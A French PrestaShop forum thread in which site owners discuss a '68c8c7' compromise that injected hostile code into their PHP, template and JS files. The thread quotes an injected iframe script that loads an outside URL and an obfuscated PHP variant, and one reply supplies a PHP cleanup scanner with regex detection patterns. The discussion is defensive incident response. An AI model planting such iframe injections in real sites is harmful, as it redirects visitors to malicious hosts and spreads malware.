Jump to content

Mon Presta Hacké Par Un Script Commençant Par <!--68C8C7-->


Orishas

Recommended Posts

Bonjour, comme le titre le suggère, j'ai mon presta qui s'est fait hacker

 

J'ai dans plusiseurs fichiers, surtout les header, footer, index et tous les fichiers js et tous les tpl ceci qui s'est ajouté le 22 février à 15h et quelques

 

Voici le code

 

<!--68c8c7--><script type="text/javascript" language="javascript" > (function () { var id = '27362'; var uawu09 = document.createElement('iframe'); uawu09.src = 'http://dating4u.se/dtd.php'; uawu09.style.position = 'absolute'; uawu09.style.border = '1'; uawu09.style.height = '31px'; uawu09.style.width = '42px'; uawu09.style.left = '500px'; uawu09.style.top = '100px'; if (!document.getElementById('uawu')) { document.write('<style>body{overflow-x:hidden;}</style>'); document.write('<div id=\'uawu\' style="position:absolute; width:80%; height:100%;" ></div>'); document.getElementById('uawu').appendChild(uawu09); [spam-filter])();</script><!--/68c8c7-->

 

 

Il est apparu également sur d'autres cms qui sont hébergé sur mon hébergeur phpnet.

 

J'ai changé les mots de passes ftp et admin mais mes questions sont,

comment est-ce possible de changer les fichiers, (justque dans les premiers sous-dossiers, pas plus loin)

Pourquoi cela? et surtout, est-ce que cela ne m'est arrivé qu'à moi?

J'ai demandé sur le forum de phpnet mais apparemment, je suis le seul.

 

Est-ce une attaque visant les sites sous prestashop?

 

Une chance que c'est une installation récente avec le nouveau presta 1.5 et que je n'ai pas encore mis en service.

Mes autres cms sont en prod et là ça fait mal

 

Merci pour vos réponses et mes excuses à l'avance si je me suis trompé de forum pour poster mes questions.

 

Bon dimanche à tous, moi j'ai encore pas mla de travail pour nettoyer toute cette m...

Edited by Orishas (see edit history)
Link to comment
Share on other sites

Et bien sur un de mes cms, plus rien n'était cliquable, et il y avait comme des "images" (petits carrés qui devrait contenir une image) avec mention "ok" dessus

Les codes des scripts visibles là où ils devaient êtres effectués. (le script ne fonctionnait pas mais juste le code visible)

 

J'en ai eu pour 2 jours à tout remettre en ordre

 

Sur presta, les menus ne sont plus cliquables non plus et de petits espaces avec le petit "ok" une peu sur toutes les pages.

Je suis le seul à qui cela est arrivé?

Si oui, pourquoi moi?

Edited by Orishas (see edit history)
Link to comment
Share on other sites

Quand on fait une recherche sur google avec juste "http://dating4u.se/dtd.php" qui se trouve dans le script

On a une fulltitude de site qui sont atteint et ne le savent même pas

Visitez une de ces pages et en regardant dans le code source, vous voyez le script.

Bizarrement personne n'en parle sur aucun forum.

 

Je ne suis pas seul alors.....

 

Quelqu'un connait cette "attaque"?

Edited by Orishas (see edit history)
Link to comment
Share on other sites

Merci Yonis

Pourquoi une petite faille dans un autre cms est possible?

Prestshop est touché également et c'est la dernière version.

Les autres sites que j'ai trouvé sur le web et qui ont le script n'ont rien à voir avec mes cms, ce sont des sites d'un peu partout, ce n'est pas une faille d'UN cms mais ils s'infirltrent partout.

Enfin... moi c'est fini pour le moment, par contre, j'en vois des tonnes d'autres.

Avec ce post je voulais également signaler pour les autres mais si on pense que cela ne me concerne que moi... ok

 

Bien à vous et sortez couvert ;-)

Link to comment
Share on other sites

Merci Yonis

Aucun module ajouté, il est en test avec uniquement la base

Je n'ai même pas encore fais de catégories

Je l'ai installé il y a une semaine et n'ai même pas encore eu le temps de m'en occuper

Donc, c'est bien la base qui est installée

 

Mon poste est safe, je fais régulièrement des scan avec divers logiciels d'anti-malwares et autres ccleaner, spybot, adwcleaner RogueKiller et j'en passe

Suis assez parano donc, s'il y en a encore qui passent je ne sais pas par où

Mon antivirus est à jour également

Côté poste, je pense que c'est ok, mais on n'est jamais sûr (le parano reviens ;-) )

S'il y a un cms qui a foiré, cela doit être un ancien xoops (plus à jour car les modules ne sont plus développé pour les nouvelles versions)

Un seul cms peut-il ouvrir la porte à d'autres comme prestashop?

Link to comment
Share on other sites

Bonjour,

 

A priori, PS n'y ai pour rien.

 

Voici les deux pistes à suivre :

 

- Votre hébergeur s'est-il fait piraté ? Les autres sites du mutualisés ont-ils été touchés ?

- Vous vous êtes fait dérobé vos identifiants FTP comme tant d'autres. Nettoyez votre PC du malware et changer tous vos accès.

Link to comment
Share on other sites

Je n'ai pas dis que PS y était pour quelque chose.

Mon hébergeur me dit que non (vont pas dire oui non plus)

Sur le forum aucun autre site mutualisé n'est atteint (qu'ils ne sachent, moi, je l'ai vu par hasard)

Mes identifiants sont changé souvent.

Mon PC est nettoyé très souvent (comme dis plus haut, je suis un parano et j'utilise plusieurs antimalwares etc...

 

Mais ok, pas de soucis, personne n'est atteint, et la faute a personne ;-)

 

A+

 

P.S. Plus de 300 fichiers changés en quelques minutes, dont 3 versions de presta différentes (juste pour info, mais comme presta n'est pas en cause, vous n'aurez aucun soucis)

 

Je clos donc ce sujet

 

A+ et bonne journée à tous et merci ;-)

Link to comment
Share on other sites

De toute façon je ne pense pas que cela vienne du mutualisé, car vous n'auriez pas été le seul. En plus les sécurités par défaut d'un mutualisé sont normalement déjà pas mal.

IL y a peut être un malware qui vise des boutiques et qui se propage actuellement.. Nous verrons bien si d'un coup tout le monde se met a hurler ! :)

Link to comment
Share on other sites

Bonjour,

 

J'ai eu un problème dans le même genre : apparemment il s'agissait de détourner le trafic vers d'autres sites, histoire de faire tourner leur compteur analytics

Le fonctionnement de la boutique restait correct. C'est pour cela que de nombreux sites sont infectés, sans qu'ils s'en aperçoivent.

 

Un script est installé sur le serveur avec pour mission de modifier tous les fichiers type index.php, footer.php, etc...

Ensuite chaque fois que ces fichiers sont executés, le script est executé également. Après, ce qu'il fait est une autre histoire.

 

Si tu as des accès FTP qui ne servent à rien, mieux vaut les supprimer plutôt qu'ils soient "faibles" et susceptibles d'être une porte d'entrée.

Link to comment
Share on other sites

Merci Ambroise,

Je me sens moins seul ;-)

 

Effectivement ,j'avais des accès FTP qui ne servaient que très très peu, et je les ai justement supprimés hier. (quelle coïncidence)

Mes accès principaux (2) un pour les sites et un pour les backup sur les serveurs, auxquels j'ai modifiés les mots de passes.

Je vé"rifie tous les jours les dates qui sont sur les dossiers/fichiers FTP pour le cas où, et là, tout ok pour le moment

 

Doit-on changer régulièrement les mots de passes FTP?

Doit-on aussi changer les mot de passe des bases de données?

Si c'est le cas, c'est assez fastidieux non?

 

En tout cas merci pour ton soutiens, bonne journée

Link to comment
Share on other sites

Bonjour Orishas,

 

J'ai aussi été infecté avant hier par ce meme script commencant par :

 

#68c8c7#																										  
echo "																																											
<script type=\"text/javascript\"language=\"javascript\" >																																														  
asgq=
[0x28,0x66,0x75......

 

Résultat : 2 versions de prestashop et 3 versions de wordpress infectées... je suis encore en train de nettoyer tous ca,... belle galère.

 

Pour la mise en cause, je pense être fautif, malgré des scan antimalware réguliers, j'en ais découvert le lendemain et nettoyés sans difficultés.

 

Donc, mots de pass FTP changés, nom de repertoire prestashop admin changés, mots de pass utilisateurs changés, et patch fixher pour prestashop appliqué par sécurité...

 

Les infos ici http://www.waebo.com/prestashop-1-4-x-correctif-de-securite-suite-a-attaque-pirate.html

 

Si tu à des conseils à me donner, je suis preneur...

 

Bon courage.

Edited by MwC (see edit history)
Link to comment
Share on other sites

Pour ma part, j'ai effectué les changements sur certains fichiers mais quand j'ai vu l'ampleur, on m'a dit d'aller sur un ftp backup de Phpnet, et là, j'ai retrouvé la plupart de mes fichiers saife car datant de plusieurs jours.

J'ai tout téléchargé et puis tout téléversé et le tour est joué

Changé mot de passe, admin et ftp et aussi j'ai effacé quelques autres accès ftp pour certains anciens "clients" qui n'avaient plus lieu d'être.

Voici mon expérience, si cela peut aider quelqu'un.

Par contre,ce que je trouve bizarre c'est que sur aucun forum on en parle

sur les 2 forums où j'ai posté, ici et phpnet.

Fou non?

Pourtant énormément de sites sont infectés mais bon... personne ne veut en parler ou alors c'est ultra connu et donc personne n'en parle car trop facile à gérer?

Perso, je ne connaissais pas.

 

Bonne m... pour le boulot MwC

Link to comment
Share on other sites

Effectivement, je vais demander à l'herbergeur de restaurer les fichiers et Bdd à la veille de l'infection, car il y a trop de fichiers infectés et de différentes manières...

 

Ils en parlent ici aussi http://www.nuked-klan.org/index.php?file=Forum&page=viewtopic&forum_id=27&thread_id=4232

 

étrange que l'on ne trouve pas plus d'infos à ce sujet

Edited by MwC (see edit history)
Link to comment
Share on other sites

(Désolé le Français n'est pas ma langue maternel)

 

Pour ceux qui n’aurais pas prévu de sauvegarde régulière je vous ai modifier un petit "scaner" qui peut résoudre les problèmes automatiquement

Il est prévu pour l'attaque par injection que vous dérivé mais est aisément modifiable pour d'autres

 

Marge à suivre:

 

Copié collé le code que je vous donne en fin de "post" dans un fichier (notepad ou du genre) nommé le SimpleFixScanner:php ou autre

 

via votre logiciel ftp lacer le fichier a la racine de l'ébergement de votre site

 

Vérifier bien que les droits d’accès au dossier et fichier permette la lecture mais aussi l'écriture

 

Ouvrez votre site dans votre browser préféré suivit de / SimpleFixScanner:php

(exemple www.monsite.com/SimpleFixScanner:php

 

le scanner vas automatiquement "dileté" l'attaque et vous affichera un rapport des fichier infecté ainsi que de sa "correction"

 

Pour toute sécurité allé dans les outils de votre browser/ option internet/supprimer ne coché que la case fichier internet temporaire et clické sur "supprimé" (cela élimine le risque d'avoir une image de l'affichage plutôt que le contenu html pour la suite)

 

Répéter l'opération " Ouvrez votre site dans votre browser préféré suivit de / SimpleFixScanner:php

(exemple www.monsite.com/SimpleFixScanner:php"

 

Si le scaner vous affiche qu'il n"y a pas de fichier infecter c'est terminé

 

sinon ouvrer manuellement les fichier qui sont encore infecté (du à une variante du de l'attaque ou au droit d’accès sur votre serveur) et deleté via une (via une recherche) les codes comprit entre "68c8c7" en ce y comprit les 68c8c7

 

Répéter l'opération

 

"Pour toute sécurité allé dans les outils de votre browser/ option internet/supprimer ne coché que la case fichier internet temporaire et clické sur "supprimé" (cela élimine le risque d'avoir une image de l'affichage plutôt que le contenu html pour la suite)"

 

Répéter l'opération " Ouvrez votre site dans votre browser préféré suivit de / SimpleFixScanner:php

(exemple www.monsite.com/SimpleFixScanner:php"

 

Voici :

 

 

<?php

/*

* Sample class usage

*/

$scanner = new SimpleFixScanner();

$scanner->scan();

 

/**

* Simple trojan scanner to fix some tedious trojan, that

* corrupt some files on the server.

*

* You can modify this code as you need, to add a new trojan fix

* simply add a method that give in input a filepath and return

* the appropriate exit status (see FixExitStatus class for details), and add the

* trojan name and the method name to the fixList[] array for the callback.

* See fix336988() for an example.

*

* Currently supported trojan:

* - 68c8c7 (Thanks to fatsouls32 - http://www.freestuff.gr/forums/viewtopic.php?t=64419 for 336988 regex fix)

*

*

*/

class SimpleFixScanner {

var $fileTypeToScan = array('php','html','htm','tpl','js');

var $fixList = array(

//'Scanner Regex Check'=>'devCheckRegex', //Use to check wich files are scannd

'Trojan 68c8c7' => 'fix68c8c7',

);

var $startTime;

var $memoryLimit = "200M";

var $docRoot;

var $filesToScan;

var $filesScannedCount = 0;

var $filesFixed = array();

 

 

/**

* Wrapper for the scan process

* @see $this->doScan()

*/

function scan(){

echo "<h3>Simple Fix Scanner</h3>";

echo "<hr />";

echo "<p>Prepare the scanner... ";

$this->prepareScanner();

echo "<i>done</i>";

echo "<br><small>(Directory: " . $this->docRoot . ")</small></p>";

 

// Do the scann process

echo "<p>Do scan... ";

$this->doScan();

echo "<i>done</i></p>";

 

// Echo scan results

$fileFixedCount = count($this->filesFixed);

if ( $fileFixedCount > 0 ){

echo "<h4>Matches:</h4>";

echo "<p>Fixed " . $fileFixedCount . " of " . $this->filesScannedCount . " files scanned</p>";

echo "<ul>";

foreach($this->filesFixed as $item) {

$exitStatus = FixExitStatus::translateExitStatus($item['exitStatus']);

echo sprintf("<li>{$exitStatus} - <strong>{$item['fix']}</strong> was found in file {$item['file']}</li>"); ;

}

echo "</ul>";

} else {

echo "<h4>No match found.</h4>";

echo "<p>{$this->filesScannedCount} file scanned.</p>";

}

 

 

 

$endtime = microtime(true);

$totaltime = ($endtime - $this->startTime);

echo "<p><small>Time elpased: ".$totaltime." seconds</small></p>";

}

 

 

/**

* Prepare the scanner

*/

function prepareScanner(){

ini_set('memory_limit', $this->memoryLimit);

$this->startTime = microtime(true);

if (!$this->docRoot)

$this->docRoot = $_SERVER['DOCUMENT_ROOT'];

$this->filesToScan = $this->getFilesToScan($this->docRoot);

}

 

/**

* Execute the scan process

* @param unknown $param

*/

function doScan() {

foreach ($this->filesToScan as $search) {

$this->filesScannedCount++;

foreach ($this->fixList as $name => $method){

$chekFile = call_user_func( array($this, $method), $search[0] );

if ( $chekFile != FixExitStatus::FILE_OK )

$this->filesFixed[] = array('fix' => $name, 'file' => $search[0], 'exitStatus' => $chekFile);

}

}

}

 

/**

* Helper to get the list of the files to scan

*/

function getFilesToScan($rootDir){

$directoryIterator = new RecursiveDirectoryIterator($rootDir);

$iterator = new RecursiveIteratorIterator($directoryIterator);

$regex ='/^.+\.(' .implode("|", $this->fileTypeToScan ) . ')$/i';

$files = new RegexIterator($iterator, $regex, RecursiveRegexIterator::GET_MATCH);

return $files;

}

 

/**

* Return true, just for check if the regex works.

* @param unknown $path

*/

function devCheckRegex($path) {

if(is_file($path))

return true;

else

return false;

}

 

 

/**

* Check and fix file for:

* 68c8c7 Trojan

* @param unknown $path

* @return true if trojan foud and fixed; otherwise false;

*/

function fix68c8c7( $path ) {

$fileFixed = false;

$regexPaterns = array(

"/#68c8c7#(.*?)#\/68c8c7#/ism", // php

"/\<!--68c8c7-->(.*?)\<!--\/68c8c7-->/ism", // html

'#(/\*68c8c7\*/).*?(/\*/68c8c7\*/)#ism', //js

);

$data = file_get_contents($path);

 

foreach ($regexPaterns as $regex) {

if (preg_match($regex,$data)){

// If foud, replace malicious code with empty string

$data = preg_replace($regex,"",$data);

$fileFixed = FixExitStatus::FILE_FIXED;

}

}

if ($fileFixed != FixExitStatus::FILE_OK)

file_put_contents( $path, $data);

 

return $fileFixed;

}

}

 

 

final class FixExitStatus {

private function __constructor() {}

// fix exit status

const FILE_OK = 0;

const FILE_FIXED = 1;

const CANT_FIX = 2;

 

public static function translateExitStatus($status) {

switch ($status) {

case FixExitStatus::FILE_OK:

return "File is safe";

break;

case FixExitStatus::FILE_FIXED:

return "File fixed";

break;

case FixExitStatus::CANT_FIX:

return "Can't fix file";

break;

}

 

 

 

}

}

 

?>

 

 

 

share|improve this answer

 

 

Bon courage

Link to comment
Share on other sites

ha j’oubliais sous prestashop même si le scaner n'indique plus d'infection remplacer le dossier "js" avec un dossier "js" qui correspond à votre version de prestashop , cela (sauff module complémentaire) n'impactera pas les modifications de votre site

(évidemment si ou deuxième scan il n'y a que des fichier java impacté faite de même)

Link to comment
Share on other sites

Ma solution pour finir est de ne plus laissé les mots de passe enregistré, car filezilla les sauvegarde en clair dans un fichier donc...

Voilà une dernière prévention ;-)

J'espère que cela ne m'arrivera plus

Link to comment
Share on other sites

Bonjour,

 

Cette technique est très connue et de plus en plus répandue car le trafic ainsi généré se monnaie très bien sur le blackmarket cybercriminel.

 

La technique est appelée "iFrame Injection", pour ceux qui souhaite en savoir plus, un article complet sur le sujets et ses enjeux est disponible ici : http://www.undernews.fr/reseau-securite/iframe-injection-detournement-malveillant-de-trafic-web.html

 

Bonne lecture et soyez vigilent !

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...